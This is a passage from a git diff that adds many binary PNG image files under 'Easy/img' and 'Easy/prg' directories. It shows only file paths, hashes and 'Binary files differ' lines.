files /dev/null and b/Easy/img/69.png differ diff --git a/Easy/img/69_graph.png b/Easy/img/69_graph.png new file mode 100644 index 0000000..8ce227a Binary files /dev/null and b/Easy/img/69_graph.png differ diff --git a/Easy/img/6_graph.png b/Easy/img/6_graph.png new file mode 100644 index 0000000..2be2c4c Binary files /dev/null and b/Easy/img/6_graph.png differ diff --git a/Easy/img/7.png b/Easy/img/7.png new file mode 100644 index 0000000..d875272 Binary files /dev/null and b/Easy/img/7.png differ diff --git a/Easy/img/70.png b/Easy/img/70.png new file mode 100644 index 0000000..fe4ed58 Binary files /dev/null and b/Easy/img/70.png differ diff --git a/Easy/img/70_graph.png b/Easy/img/70_graph.png new file mode 100644 index 0000000..6e383ad Binary files /dev/null and b/Easy/img/70_graph.png differ diff --git a/Easy/img/71.png b/Easy/img/71.png new file mode 100644 index 0000000..9451061 Binary files /dev/null and b/Easy/img/71.png differ diff --git a/Easy/img/7_graph.png b/Easy/img/7_graph.png new file mode 100644 index 0000000..e7bcc94 Binary files /dev/null and b/Easy/img/7_graph.png differ diff --git a/Easy/img/8.png b/Easy/img/8.png new file mode 100644 index 0000000..6982855 Binary files /dev/null and b/Easy/img/8.png differ diff --git a/Easy/img/8_graph.png b/Easy/img/8_graph.png new file mode 100644 index 0000000..d22dc4c Binary files /dev/null and b/Easy/img/8_graph.png differ diff --git a/Easy/img/9.png b/Easy/img/9.png new file mode 100644 index 0000000..33ea8a2 Binary files /dev/null and b/Easy/img/9.png differ diff --git a/Easy/img/9_graph.png b/Easy/img/9_graph.png new file mode 100644 index 0000000..01a83dc Binary files /dev/null and b/Easy/img/9_graph.png differ diff --git a/Easy/img/END.png b/Easy/img/END.png new file mode 100644 index 0000000..f90a9f7 Binary files /dev/null and b/Easy/img/END.png differ diff --git a/Easy/prg/10_001.png b/Easy/prg/10_001.png new file mode 100644 index 0000000..226ae6b Binary files /dev/null and b/Easy/prg/10_001.png differ diff --git a/Easy/prg/14_001.png b/Easy/prg/14_001.png new file mode 100644 index 0000000..9248a48 Binary files /dev/null and b/Easy/prg/14_001.png differ diff --git a/Easy/prg/14_002.png b/Easy/prg/14_002.png new file mode 100644 index 0000000..aab6b20 Binary files /dev/null and b/Easy/prg/14_002.png differ diff --git a/Easy/prg/14_003.png b/Easy/prg/14_003.png new file mode 100644 index 0000000..25d0de1 Binary files /dev/null and b/Easy/prg/14_003.png differ diff --git a/Easy/prg/15_001.png b/Easy/prg/15_001.png new file mode 100644 index 0000000..508a469 Binary files /dev/null and b/Easy/prg/15_001.png differ diff --git a/Easy/prg/15_002.png b/Easy/prg/15_002.png new file mode 100644 index 0000000..8b366af Binary files /dev/null and b/Easy/prg/15_002.png differ diff --git a/Easy/prg/16_001.png b/Easy/prg/16_001.png new file mode 100644 index 0000000..26d5dc4 Binary files /dev/null and b/Easy/prg/16_001.png differ diff --git a/Easy/prg/16_002.png b/Easy/prg/16_002.png new file mode 100644 index 0000000..af88dbe Binary files /dev/null and b/Easy/prg/16_002.png differ diff --git a/Easy/prg/16_003.png b/Easy/prg/16_003.png new file mode 100644 index 0000000..199786b Binary files /dev/null and b/Easy/prg/16_003.png differ diff --git a/Easy/prg/17_001.png b/Easy/prg/17_001.png new file mode 100644 index 0000000..81e40eb Binary files /dev/null and b/Easy/prg/17_001.png differ diff --git a/Easy/prg/17_002.png b/Easy/prg/17_002.png new file mode 100644 index 0000000..efe9396 Binary files /dev/null and b/Easy/prg/17_002.png differ diff --git a/Easy/prg/19_001.png b/Easy/prg/19_001.png new file mode 100644 index 0000000..f6d21e6 Binary files /dev/null and b/Easy/prg/19_001.png differ diff --git a/Easy/prg/19_002.png b/Easy/prg/19_002.png new file mode 100644 index 0000000..ee5c72e Binary files /dev/null and b/Easy/prg/19_002.png differ diff --git a/Easy/prg/19_003.png b/Easy/prg/19_003.png new file mode 100644 index 0000000..b3b1e94 Binary files /dev/null and b/Easy/prg/19_003.png differ diff --git a/Easy/prg/19_004.png b/Easy/prg/19_004.png new file mode 100644 index 0000000..0d92224 Binary files /dev/null and b/Easy/prg/19_004.png differ diff --git a/Easy/prg/19_005.png b/Easy/prg/19_005.png new file mode 100644 index 0000000..b3e444b Binary files /dev/null and b/Easy/prg/19_005.png differ diff --git a/Easy/prg/23_001.png b/Easy/prg/23_001.png new file mode 100644 index 0000000..a9b1a67 Binary files /dev/null and b/Easy/prg/23_001.png differ diff --git a/Easy/prg/23_002.png b/Easy/prg/23_002.png new file mode 100644 index 0000000..73bc638 Binary files /dev/null and b/Easy/prg/23_002.png differ diff --git a/Easy/prg/23_003.png b/Easy/prg/23_003.png new file mode 100644 index 0000000..1ddd14f Binary files /dev/null and b/Easy/prg/23_003.png differ diff --git a/Easy/prg/23_004.png b/Easy/prg/23_004.png new file mode 100644 index 0000000..9697cb9 Binary files /dev/null and b/Easy/prg/23_004.png differ diff --git a/Easy/prg/23_005.png b/Easy/prg/23_005.png new file mode 100644 index 0000000..a7c5905 Binary files /dev/null and b/Easy/prg/23_005.png differ diff --git a/Easy/prg/23_006.png b/Easy/prg/23_006.png new file mode 100644 index 0000000..3027b8c Binary files /dev/null and b/Easy/prg/23_006.png differ diff --git a/Easy/prg/24_001.png b/Easy/prg/24_001.png new file mode 100644 index 0000000..1250e0b Binary files /dev/null and b/Easy/prg/24_001.png differ diff --git a/Easy/prg/24_002.png b/Easy/prg/24_002.png new file mode 100644 index 0000000..c357776 Binary files /dev/null and b/Easy/prg/24_002.png differ diff --git a/Easy/prg/24_003.png b/Easy/prg/24_003.png new file mode 100644 index 0000000..39891a1 Binary files /dev/null and b/Easy/prg/24_003.png differ diff --git a/Easy/prg/24_004.png b/Easy/prg/24_004.png new file mode 100644 index 0000000..fbf7fff Binary files /dev/null and b/Easy/prg/24_004.png differ diff --git a/Easy/prg/24_005.png b/Easy/prg/24_005.png new file mode 100644 index 0000000..9b359ea Binary files /dev/null and b/Easy/prg/24_005.png differ diff --git a/Easy/prg/26_001.png b/Easy/prg/26_001.png new file mode 100644 index 0000000..6211989 Binary files /dev/null and b/Easy/prg/26_001.png differ diff --git a/Easy/prg/26_002.png b/Easy/prg/26_002.png new file mode 100644 index 0000000..e97e7a8 Binary files /dev/null and b/Easy/prg/26_002.png differ diff --git a/Easy/prg/26_003.png b/Easy/prg/26_003.png new file mode 100644 index 0000000..1b94315 Binary files /dev/null and b/Easy/prg/26_003.png differ diff --git a/Easy/prg/26_004.png b/Easy/prg/26_004.png new file mode 100644 index 0000000..d32f494 Binary files /dev/null and b/Easy/prg/26_004.png differ diff --git a/Easy/prg/27_001.png b/Easy/prg/27_001.png new file mode 100644 index 0000000..adbc7aa Binary files /dev/null and b/Easy/prg/27_001.png differ diff --git a/Easy/prg/27_002.png b/Easy/prg/27_002.png new file mode 100644 index 0000000..70a527d Binary files /dev/null and b/Easy/prg/27_002.png differ diff --git a/Easy/prg/27_003.png b/Easy/prg/27_003.png new file mode 100644 index 0000000..66bda2f Binary files /dev/null and b/Easy/prg/27_003.png differ diff --git a/Easy/prg/28_001.png b/Easy/prg/28_001.png new file mode 100644 index 0000000..8c3a453 Binary files /dev/null and b/Easy/prg/28_001.png differ diff --git a/Easy/prg/28_002.png b/Easy/prg/28_002.png new file mode 100644 index 0000000..6eed321 Binary files /dev/null and b/Easy/prg/28_002.png differ diff --git a/Easy/prg/28_003.png b/Easy/prg/28_003.png new file mode 100644 index 0000000..f6c6010 Binary files /dev/null and b/Easy/prg/28_003.png differ diff --git a/Easy/prg/28_004.png b/Easy/prg/28_004.png new file mode 100644 index 0000000..598d19f Binary files /dev/null and b/Easy/prg/28_004.png differ diff --git a/Easy/prg/28_005.png b/Easy/prg/28_005.png new file mode 100644 index 0000000..3af2b6c Binary files /dev/null and b/Easy/prg/28_005.png differ diff --git a/Easy/prg/29_001.png b/Easy/prg/29_001.png new file mode 100644 index 0000000..bd25e75 Binary files /dev/null and b/Easy/prg/29_001.png differ diff --git a/Easy/prg/29_002.png b/Easy/prg/29_002.png new file mode 100644 index 0000000..ef061d5 Binary files /dev/null and b/Easy/prg/29_002.png differ diff --git a/Easy/prg/29_003.png b/Easy/prg/29_003.png new file mode 100644 index 0000000..31fd578 Binary files /dev/null and b/Easy/prg/29_003.png differ diff --git a/Easy/prg/29_004.png b/Easy/prg/29_004.png new file mode 100644 index 0000000..024f07d Binary files /dev/null and b/Easy/prg/29_004.png differ diff --git a/Easy/prg/29_005.png b/Easy/prg/29_005.png new file mode 100644 index 0000000..e1975f5 Binary files /dev/null and b/Easy/prg/29_005.png differ diff --git a/Easy/prg/30_001.png b/Easy/prg/30_001.png new file mode 100644 index 0000000..8b97762 Binary files /dev/null and b/Easy/prg/30_001.png differ diff --git a/Easy/prg/30_002.png b/Easy/prg/30_002.png new file mode 100644 index 0000000..2df8b1e Binary files /dev/null and b/Easy/prg/30_002.png differ diff --git a/Easy/prg/30_003.png b/Easy/prg/30_003.png new file mode 100644 index 0000000..4878765 Binary files /dev/null and b/Easy/prg/30_003.png differ diff --git a/Easy/prg/30_004.png b/Easy/prg/30_004.png new file mode 100644 index 0000000..1a5c106 Binary files /dev/null and b/Easy/prg/30_004.png differ diff --git a/Easy/prg/30_005.png b/Easy/prg/30_005.png new file mode 100644 index 0000000..ce59203 Binary files /dev/null and b/Easy/prg/30_005.png differ diff --git a/Easy/prg/30_006.png b/Easy/prg/30_006.png new file mode 100644 index 0000000..2dbad4a Binary files /dev/null and b/Easy/prg/30_006.png differ diff --git a/Easy/prg/31_001.png b/Easy/prg/31_001.png new file mode 100644 index 0000000..4660e22 Binary files /dev/null and b/Easy/prg/31_001.png differ diff --git a/Easy/prg/31_002.png b/Easy/prg/31_002.png new file mode 100644 index 0000000..2fe96e6 Binary files /dev/null and b/Easy/prg/31_002.png differ diff --git a/Easy/prg/32_001.png b/Easy/prg/32_001.png new file mode 100644 index 0000000..36fa145 Binary files /dev/null and b/Easy/prg/32_001.png differ diff --git a/Easy/prg/32_002.png b/Easy/prg/32_002.png new file mode 100644 index 0000000..216ce61 Binary files /dev/null and b/Easy/prg/32_002.png differ diff --git a/Easy/prg/32_003.png b/Easy/prg/32_003.png new file mode 100644 index 0000000..b05c3dd Binary files /dev/null and b/Easy/prg/32_003.png differ diff --git a/Easy/prg/32_004.png b/Easy/prg/32_004.png new file mode 100644 index 0000000..1bc29d6 Binary files /dev/null and b/Easy/prg/32_004.png differ diff --git a/Easy/prg/32_005.png b/Easy/prg/32_005.png new file mode 100644 index 0000000..f836ef8 Binary files /dev/null and b/Easy/prg/32_005.png differ diff --git a/Easy/prg/32_006.png b/Easy/prg/32_006.png new file mode 100644 index 0000000..adacde4 Binary files /dev/null and b/Easy/prg/32_006.png differ diff --git a/Easy/prg/33_001.png b/Easy/prg/33_001.png new file mode 100644 index 0000000..c3b16b1 Binary files /dev/null and b/Easy/prg/33_001.png differ diff --git a/Easy/prg/35_001.png b/Easy/prg/35_001.png new file mode 100644 index 0000000..d236eab Binary files /dev/null and b/Easy/prg/35_001.png differ diff --git a/Easy/prg/35_002.png b/Easy/prg/35_002.png new file mode 100644 index 0000000..6bc73d8 Binary files /dev/null and b/Easy/prg/35_002.png differ diff --git a/Easy/prg/35_003.png b/Easy/prg/35_003.png new file mode 100644 index 0000000..c4d3f4e Binary files /dev/null and b/Easy/prg/35_003.png differ diff --git a/Easy/prg/35_004.png b/Easy/prg/35_004.png new file mode 100644 index 0000000..0f268ff Binary files /dev/null and b/Easy/prg/35_004.png differ diff --git a/Easy/prg/35_005.png b/Easy/prg/35_005.png new file mode 100644 index 0000000..6bd79aa Binary files /dev/null and b/Easy/prg/35_005.png differ diff --git a/Easy/prg/35_006.png b/Easy/prg/35_006.png new file mode 100644 index 0000000..27098ce Binary files /dev/null and b/Easy/prg/35_006.png differ diff --git a/Easy/prg/35_007.png b/Easy/prg/35_007.png new file mode 100644 index 0000000..91a9fce Binary files /dev/null and b/Easy/prg/35_007.png differ diff --git a/Easy/prg/35_008.png b/Easy/prg/35_008.png new file mode 100644 index 0000000..9ce0c9a Binary files /dev/null and b/Easy/prg/35_008.png differ diff --git a/Easy/prg/36_001.png b/Easy/prg/36_001.png new file mode 100644 index 0000000..44d2c19 Binary files /dev/null and b/Easy/prg/36_001.png differ diff --git a/Easy/prg/36_002.png b/Easy/prg/36_002.png new file mode 100644 index 0000000..f57ed16 Binary files /dev/null and b/Easy/prg/36_002.png differ diff --git a/Easy/prg/36_003.png b/Easy/prg/36_003.png new file mode 100644 index 0000000..01853b4 Binary files /dev/null and b/Easy/prg/36_003.png differ diff --git a/Easy/prg/37_001.png b/Easy/prg/37_001.png new file mode 100644 index 0000000..290ebe7 Binary files /dev/null and b/Easy/prg/37_001.png differ diff --git a/Easy/prg/37_002.png b/Easy/prg/37_002.png new file mode 100644 index 0000000..0052567 Binary files /dev/null and b/Easy/prg/37_002.png differ diff --git a/Easy/prg/37_003.png b/Easy/prg/37_003.png new file mode 100644 index 0000000..de33307 Binary files /dev/null and b/Easy/prg/37_003.png differ diff --git a/Easy/prg/37_004.png b/Easy/prg/37_004.png new file mode 100644 index 0000000..4f21820 Binary files /dev/null and b/Easy/prg/37_004.png differ diff --git a/Easy/prg/38_001.png b/Easy/prg/38_001.png new file mode 100644 index 0000000..78b6646 Binary files /dev/null and b/Easy/prg/38_001.png differ diff --git a/Easy/prg/38_002.png b/Easy/prg/38_002.png new file mode 100644 index 0000000..6827963 Binary files /dev/null and b/Easy/prg/38_002.png differ diff --git a/Easy/prg/38_003.png b/Easy/prg/38_003.png new file mode 100644 index 0000000..5cf6d4c Binary files /dev/null and b/Easy/prg/38_003.png differ diff --git a/Easy/prg/38_004.png b/Easy/prg/38_004.png new file mode 100644 index 0000000..f63ee06 Binary files /dev/null and b/Easy/prg/38_004.png differ diff --git a/Easy/prg/38_005.png b/Easy/prg/38_005.png new file mode 100644 index 0000000..4bcdcbc Binary files /dev/null and b/Easy/prg/38_005.png differ diff --git a/Easy/prg/38_006.png b/Easy/prg/38_006.png new file mode 100644 index 0000000..43bf847 Binary files /dev/null and b/Easy/prg/38_006.png differ diff --git a/Easy/prg/38_007.png b/Easy/prg/38_007.png new file mode 100644 index 0000000..33a7ce1 Binary files /dev/null and b/Easy/prg/38_007.png differ diff --git a/Easy/prg/38_008.png b/Easy/prg/38_008.png new file mode 100644 index 0000000..957d410 Binary files /dev/null and b/Easy/prg/38_008.png differ diff --git a/Easy/prg/38_009.png b/Easy/prg/38_009.png new file mode 100644 index 0000000..08367c8 Binary files /dev/null and b/Easy/prg/38_009.png differ diff --git a/Easy/prg/38_010.png b/Easy/prg/38_010.png new file mode 100644 index 0000000..f739aed Binary files /dev/null and b/Easy/prg/38_010.png differ diff --git a/Easy/prg/39_001.png b/Easy/prg/39_001.png new file mode 100644 index 0000000..6a032ef Binary files /dev/null and b/Easy/prg/39_001.png differ diff --git a/Easy/prg/39_002.png b/Easy/prg/39_002.png new file mode 100644 index 0000000..c5ffe6e Binary files /dev/null and b/Easy/prg/39_002.png differ diff --git a/Easy/prg/39_003.png b/Easy/prg/39_003.png new file mode 100644 index 0000000..4cd635c Binary files /dev/null and b/Easy/prg/39_003.png differ diff --git a/Easy/prg/39_004.png b/Easy/prg/39_004.png new file mode 100644 index 0000000..168c6c3 Binary files /dev/null and b/Easy/prg/39_004.png differ diff --git a/Easy/prg/3_001.png b/Easy/prg/3_001.png new file mode 100644 index 0000000..1c27ac7 Binary files /dev/null and b/Easy/prg/3_001.png differ diff --git a/Easy/prg/3_002.png b/Easy/prg/3_002.png new file mode 100644 index 0000000..657abdd Binary files /dev/null and b/Easy/prg/3_002.png differ diff --git a/Easy/prg/40_001.png b/Easy/prg/40_001.png new file mode 100644 index 0000000..5b54987 Binary files /dev/null and b/Easy/prg/40_001.png differ diff --git a/Easy/prg/40_002.png b/Easy/prg/40_002.png new file mode 100644 index 0000000..24214ba Binary files /dev/null and b/Easy/prg/40_002.png differ diff --git a/Easy/prg/40_003.png b/Easy/prg/40_003.png new file mode 100644 index 0000000..af3b953 Binary files /dev/null and b/Easy/prg/40_003.png differ diff --git a/Easy/prg/41_001.png b/Easy/prg/41_001.png new file mode 100644 index 0000000..d05a90a Binary files /dev/null and b/Easy/prg/41_001.png differ diff --git a/Easy/prg/41_002.png b/Easy/prg/41_002.png new file mode 100644 index 0000000..2083644 Binary files /dev/null and b/Easy/prg/41_002.png differ diff --git a/Easy/prg/41_003.png b/Easy/prg/41_003.png new file mode 100644 index 0000000..88f0337 Binary files /dev/null and b/Easy/prg/41_003.png differ diff --git a/Easy/prg/41_004.png b/Easy/prg/41_004.png new file mode 100644 index 0000000..07cd3a9 Binary files /dev/null and b/Easy/prg/41_004.png differ diff --git a/Easy/prg/41_005.png b/Easy/prg/41_005.png new file mode 100644 index 0000000..c3bf31d Binary files /dev/null and b/Easy/prg/41_005.png differ diff --git a/Easy/prg/41_006.png b/Easy/prg/41_006.png new file mode 100644 index 0000000..fb0cf3c Binary files /dev/null and b/Easy/prg/41_006.png differ diff --git a/Easy/prg/41_007.png b/Easy/prg/41_007.png new file mode 100644 index 0000000..8e43f55 Binary files /dev/null and b/Easy/prg/41_007.png differ diff --git a/Easy/prg/42_001.png b/Easy/prg/42_001.png new file mode 100644 index 0000000..42041b7 Binary files /dev/null and b/Easy/prg/42_001.png differ diff --git a/Easy/prg/43_001.png b/Easy/prg/43_001.png new file mode 100644 index 0000000..e01ad64 Binary files /dev/null and b/Easy/prg/43_001.png differ diff --git a/Easy/prg/43_002.png b/Easy/prg/43_002.png new file mode 100644 index 0000000..396d1a9 Binary files /dev/null and b/Easy/prg/43_002.png differ diff --git a/Easy/prg/43_003.png b/Easy/prg/43_003.png new file mode 100644 index 0000000..bd4023d Binary files /dev/null and b/Easy/prg/43_003.png differ diff --git a/Easy/prg/43_004.png b/Easy/prg/43_004.png new file mode 100644 index 0000000..a44d77d Binary files /dev/null and b/Easy/prg/43_004.png differ diff --git a/Easy/prg/44_001.png b/Easy/prg/44_001.png new file mode 100644 index 0000000..f134464 Binary files /dev/null and b/Easy/prg/44_001.png differ diff --git a/Easy/prg/44_002.png b/Easy/prg/44_002.png new file mode 100644 index 0000000..797630d Binary files /dev/null and b/Easy/prg/44_002.png differ diff --git a/Easy/prg/44_003.png b/Easy/prg/44_003.png new file mode 100644 index 0000000..964ae6d Binary files /dev/null and b/Easy/prg/44_003.png differ diff --git a/Easy/prg/44_004.png b/Easy/prg/44_004.png new file mode 100644 index 0000000..c470a84 Binary files /dev/null and b/Easy/prg/44_004.png differ diff --git a/Easy/prg/44_005.png b/Easy/prg/44_005.png new file mode 100644 index 0000000..7dbbfcc Binary files /dev/null and b/Easy/prg/44_005.png differ diff --git a/Easy/prg/44_006.png b/Easy/prg/44_006.png new file mode 100644 index 0000000..c1bf5c1 Binary files /dev/null and b/Easy/prg/44_006.png differ diff --git a/Easy/prg/44_007.png b/Easy/prg/44_007.png new file mode 100644 index 0000000..d16fc59 Binary files /dev/null and b/Easy/prg/44_007.png differ diff --git a/Easy/prg/45_001.png b/Easy/prg/45_001.png new file mode 100644 index 0000000..f250b3f Binary files /dev/null and b/Easy/prg/45_001.png differ diff --git a/Easy/prg/45_002.png b/Easy/prg/45_002.png new file mode 100644 index 0000000..5284aa4 Binary files /dev/null and b/Easy/prg/45_002.png differ diff --git a/Easy/prg/45_003.png b/Easy/prg/45_003.png new file mode 100644 index 0000000..671da6a Binary files /dev/null and b/Easy/prg/45_003.png differ diff --git a/Easy/prg/45_004.png b/Easy/prg/45_004.png new file mode 100644 index 0000000..8c506c3 Binary files /dev/null and b/Easy/prg/45_004.png differ diff --git a/Easy/prg/45_005.png b/Easy/prg/45_005.png new file mode 100644 index 0000000..220658f Binary files /dev/null and b/Easy/prg/45_005.png differ diff --git a/Easy/prg/45_006.png b/Easy/prg/45_006.png new file mode 100644 index 0000000..d00ee6d Binary files /dev/null and b/Easy/prg/45_006.png differ diff --git a/Easy/prg/45_007.png b/Easy/prg/45_007.png new file mode 100644 index 0000000..eac7a17 Binary files /dev/null and b/Easy/prg/45_007.png differ diff --git a/Easy/prg/45_008.png b/Easy/prg/45_008.png new file mode 100644 index 0000000..675c4d4 Binary files /dev/null and b/Easy/prg/45_008.png differ diff --git a/Easy/prg/45_009.png b/Easy/prg/45_009.png new file mode 100644 index 0000000..bf7adbe Binary files /dev/null and b/Easy/prg/45_009.png differ diff --git a/Easy/prg/45_010.png b/Easy/prg/45_010.png new file mode 100644 index 0000000..b814228 Binary files /dev/null and b/Easy/prg/45_010.png differ diff --git a/Easy/prg/45_011.png b/Easy/prg/45_011.png new file mode 100644 index 0000000..fece706 Binary files /dev/null and b/Easy/prg/45_011.png differ diff --git a/Easy/prg/45_012.png b/Easy/prg/45_012.png new file mode 100644 index 0000000..4c431a9 Binary files /dev/null and b/Easy/prg/45_012.png differ diff --git a/Easy/prg/45_013.png b/Easy/prg/45_013.png new file mode 100644 index 0000000..33b948f Binary files /dev/null and b/Easy/prg/45_013.png differ diff --git a/Easy/prg/45_014.png b/Easy/prg/45_014.png new file mode 100644 index 0000000..ef8e5ce Binary files /dev/null and b/Easy/prg/45_014.png differ diff --git a/Easy/prg/45_015.png b/Easy/prg/45_015.png new file mode 100644 index 0000000..9aa82be Binary files /dev/null and b/Easy/prg/45_015.png differ diff --git a/Easy/prg/45_016.png b/Easy/prg/45_016.png new file mode 100644 index 0000000..660bfe5 Binary files /dev/null and b/Easy/prg/45_016.png differ diff --git a/Easy/prg/46_001.png b/Easy/prg/46_001.png new file mode 100644 index 0000000..db251ce Binary files /dev/null and b/Easy/prg/46_001.png differ diff --git a/Easy/prg/46_002.png b/Easy/prg/46_002.png new file mode 100644 index 0000000..cccafb9 Binary files /dev/null and b/Easy/prg/46_002.png differ diff --git a/Easy/prg/46_003.png b/Easy/prg/46_003.png new file mode 100644 index 0000000..59ae82a Binary files /dev/null and b/Easy/prg/46_003.png differ diff --git a/Easy/prg/46_004.png b/Easy/prg/46_004.png new file mode 100644 index 0000000..0fa23b4 Binary files /dev/null and b/Easy/prg/46_004.png differ diff --git a/Easy/prg/46_005.png b/Easy/prg/46_005.png new file mode 100644 index 0000000..ae6f500 Binary files /dev/null and b/Easy/prg/46_005.png differ diff --git a/Easy/prg/46_006.png b/Easy/prg/46_006.png new file mode 100644 index 0000000..fc71864 Binary files /dev/null and b/Easy/prg/46_006.png differ diff --git a/Easy/prg/46_007.png b/Easy/prg/46_007.png new file mode 100644 index 0000000..61052b8 Binary files /dev/null and b/Easy/prg/46_007.png differ diff --git a/Easy/prg/46_008.png b/Easy/prg/46_008.png new file mode 100644 index 0000000..c1d931b Binary files /dev/null and b/Easy/prg/46_008.png differ diff --git a/Easy/prg/46_009.png b/Easy/prg/46_009.png new file mode 100644 index 0000000..f0757d7 Binary files /dev/null and b/Easy/prg/46_009.png differ diff --git a/Easy/prg/46_010.png b/Easy/prg/46_010.png new file mode 100644 index 0000000..3428f95 Binary files /dev/null and b/Easy/prg/46_010.png differ diff --git a/Easy/prg/46_011.png b/Easy/prg/46_011.png new file mode 100644 index 0000000..fe5c911 Binary files /dev/null and b/Easy/prg/46_011.png differ diff --git a/Easy/prg/46_012.png b/Easy/prg/46_012.png new file mode 100644 index 0000000..b79b585 Binary files /dev/null and b/Easy/prg/46_012.png differ diff --git a/Easy/prg/46_013.png b/Easy/prg/46_013.png new file mode 100644 index 0000000..4232e2e Binary files /dev/null and b/Easy/prg/46_013.png differ diff --git a/Easy/prg/46_014.png b/Easy/prg/46_014.png new file mode 100644 index 0000000..28e1688 Binary files /dev/null and b/Easy/prg/46_014.png differ diff --git a/Easy/prg/47_001.png b/Easy/prg/47_001.png new file mode 100644 index 0000000..8f20297 Binary files /dev/null and b/Easy/prg/47_001.png differ diff --git a/Easy/prg/47_002.png b/Easy/prg/47_002.png new file mode 100644 index 0000000..5288f13 Binary files /dev/null and b/Easy/prg/47_002.png differ diff --git a/Easy/prg/48_001.png b/Easy/prg/48_001.png new file mode 100644 index 0000000..7b424b2 Binary files /dev/null and b/Easy/prg/48_001.png differ diff --git a/Easy/prg/48_002.png b/Easy/prg/48_002.png new file mode 100644 index 0000000..7c4df88 Binary files /dev/null and b/Easy/prg/48_002.png differ diff --git a/Easy/prg/48_003.png b/Easy/prg/48_003.png new file mode 100644 index 0000000..84cc7a9 Binary files /dev/null and b/Easy/prg/48_003.png differ diff --git a/Easy/prg/48_004.png b/Easy/prg/48_004.png new file mode 100644 index 0000000..a038bbe Binary files /dev/null and b/Easy/prg/48_004.png differ diff --git a/Easy/prg/48_005.png b/Easy/prg/48_005.png new file mode 100644 index 0000000..cfcc78f Binary files /dev/null and b/Easy/prg/48_005.png differ diff --git a/Easy/prg/48_006.png b/Easy/prg/48_006.png new file mode 100644 index 0000000..e9fb48b Binary files /dev/null and b/Easy/prg/48_006.png differ diff --git a/Easy/prg/48_007.png b/Easy/prg/48_007.png new file mode 100644 index 0000000..e9e38c9 Binary files /dev/null and b/Easy/prg/48_007.png differ diff --git a/Easy/prg/48_008.png b/Easy/prg/48_008.png new file mode 100644 index 0000000..f5a9c53 Binary files /dev/null and b/Easy/prg/48_008.png differ diff --git a/Easy/prg/48_009.png b/Easy/prg/48_009.png new file mode 100644 index 0000000..48f6056 Binary files /dev/null and b/Easy/prg/48_009.png differ diff --git a/Easy/prg/49_001.png b/Easy/prg/49_001.png new file mode 100644 index 0000000..6c2354a Binary files /dev/null and b/Easy/prg/49_001.png differ diff --git a/Easy/prg/4_001.png b/Easy/prg/4_001.png new file mode 100644 index 0000000..7298097 Binary files /dev/null and b/Easy/prg/4_001.png differ diff --git a/Easy/prg/4_002.png b/Easy/prg/4_002.png new file mode 100644 index 0000000..70f800b Binary files /dev/null and b/Easy/prg/4_002.png differ diff --git a/Easy/prg/4_003.png b/Easy/prg/4_003.png new file mode 100644 index 0000000..2e7966c Binary files /dev/null and b/Easy/prg/4_003.png differ diff --git a/Easy/prg/4_004.png b/Easy/prg/4_004.png new file mode 100644 index 0000000..d28f672 Binary files /dev/null and b/Easy/prg/4_004.png differ diff --git a/Easy/prg/50_001.png b/Easy/prg/50_001.png new file mode 100644 index 0000000..2959b41 Binary files /dev/null and b/Easy/prg/50_001.png differ diff --git a/Easy/prg/50_002.png b/Easy/prg/50_002.png new file mode 100644 index 0000000..2063101 Binary files /dev/null and b/Easy/prg/50_002.png differ diff --git a/Easy/prg/50_003.png b/Easy/prg/50_003.png new file mode 100644 index 0000000..002915d Binary files /dev/null and b/Easy/prg/50_003.png differ diff --git a/Easy/prg/50_004.png b/Easy/prg/50_004.png new file mode 100644 index 0000000..dfe7e38 Binary files /dev/null and b/Easy/prg/50_004.png differ diff --git a/Easy/prg/50_005.png b/Easy/prg/50_005.png new file mode 100644 index 0000000..330724b Binary files /dev/null and b/Easy/prg/50_005.png differ diff --git a/Easy/prg/50_006.png b/Easy/prg/50_006.png new file mode 100644 index 0000000..ea95152 Binary files /dev/null and b/Easy/prg/50_006.png differ diff --git a/Easy/prg/50_007.png b/Easy/prg/50_007.png new file mode 100644 index 0000000..f74e800 Binary files /dev/null and b/Easy/prg/50_007.png differ diff --git a/Easy/prg/50_008.png b/Easy/prg/50_008.png new file mode 100644 index 0000000..e56f3d2 Binary files /dev/null and b/Easy/prg/50_008.png differ diff --git a/Easy/prg/51_001.png b/Easy/prg/51_001.png new file mode 100644 index 0000000..cee6f31 Binary files /dev/null and b/Easy/prg/51_001.png differ diff --git a/Easy/prg/51_002.png b/Easy/prg/51_002.png new file mode 100644 index 0000000..23fdeb9 Binary files /dev/null and b/Easy/prg/51_002.png differ diff --git a/Easy/prg/51_003.png b/Easy/prg/51_003.png new file mode 100644 index 0000000..e42664e Binary files /dev/null and b/Easy/prg/51_003.png differ diff --git a/Easy/prg/51_004.png b/Easy/prg/51_004.png new file mode 100644 index 0000000..9b59db3 Binary files /dev/null and b/Easy/prg/51_004.png differ diff --git a/Easy/prg/51_005.png b/Easy/prg/51_005.png new file mode 100644 index 0000000..5618394 Binary files /dev/null and b/Easy/prg/51_005.png differ diff --git a/Easy/prg/51_006.png b/Easy/prg/51_006.png new file mode 100644 index 0000000..4e4d32a Binary files /dev/null and b/Easy/prg/51_006.png differ diff --git a/Easy/prg/51_007.png b/Easy/prg/51_007.png new file mode 100644 index 0000000..9b4a846 Binary files /dev/null and b/Easy/prg/51_007.png differ diff --git a/Easy/prg/51_008.png b/Easy/prg/51_008.png new file mode 100644 index 0000000..f1183cb Binary files /dev/null and b/Easy/prg/51_008.png differ diff --git a/Easy/prg/51_009.png b/Easy/prg/51_009.png new file mode 100644 index 0000000..dc5e512 Binary files /dev/null and b/Easy/prg/51_009.png differ diff --git a/Easy/prg/51_010.png b/Easy/prg/51_010.png new file mode 100644 index 0000000..78ac99a Binary files /dev/null and b/Easy/prg/51_010.png differ diff --git a/Easy/prg/51_011.png b/Easy/prg/51_011.png new file mode 100644 index 0000000..04d0b74 Binary files /dev/null and b/Easy/prg/51_011.png differ diff --git a/Easy/prg/51_012.png b/Easy/prg/51_012.png new file mode 100644 index 0000000..461b8fb Binary files /dev/null and b/Easy/prg/51_012.png differ diff --git a/Easy/prg/51_013.png b/Easy/prg/51_013.png new file mode 100644 index 0000000..35b0dc6 Binary files /dev/null and b/Easy/prg/51_013.png differ diff --git a/Easy/prg/51_014.png b/Easy/prg/51_014.png new file mode 100644 index 0000000..278cacf Binary files /dev/null and b/Easy/prg/51_014.png differ diff --git a/Easy/prg/51_015.png b/Easy/prg/51_015.png new file mode 100644 index 0000000..5b91a99 Binary files /dev/null and b/Easy/prg/51_015.png differ diff --git a/Easy/prg/51_016.png b/Easy/prg/51_016.png new file mode 100644 index 0000000..e89412b Binary files /dev/null and b/Easy/prg/51_016.png differ diff --git 